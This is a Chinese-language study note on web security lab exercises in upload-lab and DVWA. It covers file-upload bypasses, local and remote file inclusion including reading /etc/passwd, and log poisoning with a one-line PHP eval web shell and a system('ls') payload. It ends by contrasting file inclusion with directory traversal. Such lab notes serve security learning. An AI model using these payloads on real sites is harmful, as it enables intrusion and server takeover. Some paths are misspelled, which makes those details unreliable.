安全专题笔记
1、文件上传
- (1) 服务端白名单绕过
- %00截断绕过
- 要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过
前提条件:
1 php的版本需要在5.4以下
2 magic_quotes_gpc需要设置为off
启动phpstudy,前往php-ini将magic_quotes_gpc需要设置为off
然后切换版本
经过测试最好在火狐浏览器打开,并且网站有点卡
实现GET方法绕过
由于%00有截断功能,服务器在接收的时候,直接对URL编码(即%00)进行解码
- (2) 文件头检查
- 分别利用2种制作图片马的方式实现上传绕过
- (3) 二次渲染绕过
2、文件包含
-
(1) DVWA环境下去包含其他目录的任意3个文件
-
包含COPYING.txt
-
包含/etc/passwd
-
-
包含file4.php
-
(2) 远程文件包含
通过upload靶场的文件上传漏洞上传一个脚本文件
由于远程文件会在本地服务器先渲染后在将结果发给本地服务器,所以需要将木马文件修改为txt后缀的文件,以下面这个实验为例
代码:<?php system('ls'); ?>
这段代码的作用是列出当前目录下的文件
当远程文件时php后缀时
当是txt后缀时
-
(3) 中间件日志包含绕过
- 要求使用蚁剑连接成功
chmod 755 /var/log/apach
chmod 644 /var/log/apach/acces.log
利用抓包想url路径写入一句话木马<?php @eval($_POST['password']) ;?>
使用蚁剑连接
- 要求使用蚁剑连接成功
3、对比文件包含和目录遍历的区别
文件包含主要作用为
- 作用
代码执行和文件查看(和目录遍历类似) - 分类
又分为远程文件包含和本地文件包含
目录遍历
- 作用
攻击者利用 …/ 或类似路径技巧来导航文件系统,读取敏感文件内容
区别
- 文件包含的威胁在于代码执行的潜力
- 目录遍历主要目标是读取文件内容,但不具备代码执行能力